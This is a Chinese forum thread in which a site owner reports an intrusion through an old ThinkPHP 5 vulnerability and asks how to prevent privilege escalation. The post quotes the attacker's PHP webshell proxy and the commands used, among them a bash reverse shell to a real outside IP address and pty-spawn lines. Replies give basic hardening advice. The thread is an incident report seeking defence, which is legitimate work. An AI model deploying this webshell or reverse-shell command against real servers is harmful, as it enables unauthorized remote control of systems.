cyr11 发表于 2024-8-30 15:33:57

最近被入侵了,各位看看有没有什么好访问,入侵过程

由于用了老版本thinkphp被入侵了,然后上传了php文件,现在问题如果只是入侵一个站也就算了,目前入侵后竟然可以拿到服务器权限,
代码如下
<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
      if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
      }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("



",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
      $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 62235;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/1.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

然后上传了一个so后缀文件这个就不上传了,提权用的,
运行命令如下
/bin/sh -c cd /data/114/sp/public;bash -i >& /dev/tcp/47.104.86.101/39553 0>&1;echo 8087a12ec;pwd;echo 5cd09d5a4e86
bash -i
python -c import pty;pty.spawn('/bin/bash')
/bin/bash
/bin/sh
su -
-bash
如果学习可自行百度命令意思

目前怎么防止入侵后网站后提权获取到服务器权限,高手指点一下谢谢
特别说明网站限制.user.ini是没有用的
人家直接提权获取服务器权限





cyr11 发表于 2024-8-30 16:19:28

网站入侵的是thinkphp5的漏洞_index.php?s=captcha

cyr11 发表于 2024-8-30 18:24:19

目前测试一下他的木马,user.ini也限制不了目录,可以随意上传文件到任何目录,这php被入侵了,真是把服务器给别人了,好不安全

wuuyun 发表于 2024-9-17 20:29:55

cyr11 发表于 2024-8-30 18:24
目前测试一下他的木马,user.ini也限制不了目录,可以随意上传文件到任何目录,这php被入侵了,真是把服务 ...

都提权了确实没啥办法
目前权限限定死 ,可写目录 禁止可执行,可执行的目录设置 禁止写入
再就是 安装防护软件啥的
健壮代码检测
页: [1]
查看完整版本: 最近被入侵了,各位看看有没有什么好访问,入侵过程